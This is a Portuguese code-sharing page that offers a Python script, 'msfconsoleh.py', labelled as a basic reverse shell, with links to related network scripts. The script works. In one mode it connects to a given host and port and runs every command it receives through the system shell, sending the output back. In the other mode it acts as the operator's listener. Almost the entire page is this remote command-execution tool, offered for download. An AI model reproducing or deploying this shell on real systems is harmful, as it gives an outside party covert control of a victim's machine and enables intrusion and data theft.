Shell reverso básico em Python.

• Download msfconsoleh.py
• Enviar nova versão

Esconder código-fonte

#!/usr/bin/env python3

import socket, os, subprocess, sys
from time import sleep
from concurrent.futures import ThreadPoolExecutor

n_threads = 10
buffer = int(4096)
try:

    if sys.argv[1] == '-h':
        print("""-l [ipv4]
-p [port]
-s = servidor
-c = cliente
-h = ajuda
example: ./msfconsoleh -l 192.168.0.102 -p 9999 -s""")
        sys.exit()
except:
    print("""-l [ipv4]
-p [port]
-s = servidor
-c = cliente
-h = ajuda
example: ./msfconsoleh -l 192.168.0.102 -p 9999 -s""")
    sys.exit()
if sys.argv[1] == '-l':
    host = str(sys.argv[2])
if sys.argv[3] == '-p':
    port = int(sys.argv[4])
a = input('cliente ou servidor: ')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


def send_commands(client_socket):
    print('qualquer comando depois siga')
    while True:
        cmd = input()
        if cmd == 'exit':
            client_socket.close()
            s.close()
            sys.exit()
        if len(str.encode(cmd)) > 0:
            client_socket.send(str.encode(cmd))
            client_response = str(client_socket.recv(1024), "utf-8")
            print(client_response, end="")


def server():
    s.bind((host, port))
    s.listen(5)
    print(f'listando {host}:{port} ...')
    client_socket, client_adress = s.accept()
    print(f'{client_adress[0]}:{client_adress[1]} Connectado!')
    message = 'hnx'
    client_socket.send(message.encode())
    send_commands(client_socket)
    client_socket.close()

def client():
    s.connect((host, port))
    message = s.recv(buffer).decode()
    print('servidor: ', message)
    while True:
        data = s.recv(buffer)
        if data[:2].decode("utf-8") == 'cd':
            os.chdir(data[3:].decode("utf-8"))
        if len(data) > 0:
            cmd = subprocess.Popen(data[:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            output_bytes = cmd.stdout.read()
            output_str = str(output_bytes, "utf-8")
            s.send(str.encode(output_str + str(os.getcwd()) + '#'))

    s.close()

with ThreadPoolExecutor(max_workers=n_threads) as pool:
    pool.map(server)
    pool.map(client)
if a in 'Ss':
    server()
if a in 'Cc':
    client()
if s.close() or sys.exit():
    print('-' * 20, 'fim', '-' * 17)

Buscar Login/Usuário NIS

Envio de comandos por ssh sem troca de chaves a múltiplos servidores

B.S.A.N.S. - Break Security - Automated Network Scanner [PARTE 1]

Ligando máquina pela rede usando Python

Shell reverso em Python - cliente